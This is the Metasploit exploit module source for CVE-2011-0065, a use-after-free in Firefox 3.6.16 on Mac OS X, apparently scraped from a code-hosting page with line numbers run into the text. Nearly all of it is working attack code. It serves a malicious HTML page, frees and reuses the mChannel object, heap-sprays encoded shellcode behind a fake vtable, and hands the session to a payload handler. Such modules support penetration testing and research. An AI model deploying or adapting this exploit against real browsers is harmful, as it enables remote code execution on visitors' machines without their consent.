Path: blob/master/modules/exploits/osx/browser/mozilla_mchannel.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9# include Msf::Exploit::Remote::BrowserAutopwn10#11# autopwn_info({12# :ua_name => HttpClients::FF,13# :ua_minver => "3.6.16",14# :ua_maxver => "3.6.16",15# :os_name => OperatingSystems::Match::MAC_OSX,16# :javascript => true,17# :rank => NormalRanking,18# })1920def initialize(info = {})21super(22update_info(23info,24'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free',25'Description' => %q{26This module exploits a use-after-free vulnerability in Mozilla27Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the28OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel29becomes a dangling pointer and can be reused when setting the OBJECTs30data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7,3110.6.8, 10.7.2 and 10.7.3.32},33'License' => MSF_LICENSE,34'Author' => [35'regenrecht', # discovery36'Rh0', # windows metasploit module37'argp <argp[at]census-labs.com>' # mac os x version38],39'References' => [40['CVE', '2011-0065'],41['OSVDB', '72085'],42['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],43['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']44],45'Payload' => {46'Space' => 1024,47},48'Platform' => 'osx',49'Targets' => [50[51# Firefox 3.6.16 on Lion runs as a 32-bit process52'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)',53{54'Arch' => ARCH_X86,55'Fakevtable' => 0x2727,56'Fakefunc' => 0x2727001c,57}58],59],60'DefaultTarget' => 0,61'DisclosureDate' => '2011-05-10',62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)69end7071def on_request_uri(cli, request)72# random javascript variable names73js_element_name = rand_text_alpha(rand(10) + 5)74js_obj_addr_name = rand_text_alpha(rand(10) + 5)75js_sc_name = rand_text_alpha(rand(10) + 5)76js_ret_addr_name = rand_text_alpha(rand(10) + 5)77js_chunk_name = rand_text_alpha(rand(10) + 5)78js_final_chunk_name = rand_text_alpha(rand(10) + 5)79js_block_name = rand_text_alpha(rand(10) + 5)80js_array_name = rand_text_alpha(rand(10) + 5)8182# check for non vulnerable targets83agent = request.headers['User-Agent']8485if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/86vprint_error("Target not supported: #{agent}")87send_not_found(cli)88return89end9091# re-generate the payload92return if ((payload = regenerate_payload(cli).encoded) == nil)9394payload_buf = ''95payload_buf << payload96escaped_payload = Rex::Text.to_unescape(payload_buf)9798# setup the fake memory references99my_target = targets[0] # in case we add more targets later100fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))101fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))102103exploit_js = <<-JS104#{js_element_name} = document.getElementById("d");105#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);106#{js_element_name}.onChannelRedirect(null, new Object, 0)107108#{js_obj_addr_name} = unescape("\x00#{fakevtable}");109110var #{js_sc_name} = unescape("#{escaped_payload}");111112var #{js_ret_addr_name} = unescape("#{fakefunc}");113114while(#{js_ret_addr_name}.length < 0x120)115{116#{js_ret_addr_name} += #{js_ret_addr_name};117}118119var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);120#{js_chunk_name} += #{js_sc_name};121#{js_chunk_name} += #{js_ret_addr_name};122var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);123124while(#{js_final_chunk_name}.length < 0x800000)125{126#{js_final_chunk_name} += #{js_final_chunk_name};127}128129var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);130131#{js_array_name} = new Array()132133for(n = 0; n < 0x220; n++)134{135#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};136}137JS138139html = <<-HTML140<html>141<body>142<object id="d"><object>143<script type="text/javascript">144#{exploit_js}145</script>146</body>147</html>148HTML149150# remove the extra tabs151html = html.gsub(/^ {4}/, '')152print_status("Sending #{self.name}")153send_response_html(cli, html, { 'Content-Type' => 'text/html' })154155# handle the payload156handler(cli)157end158end159160161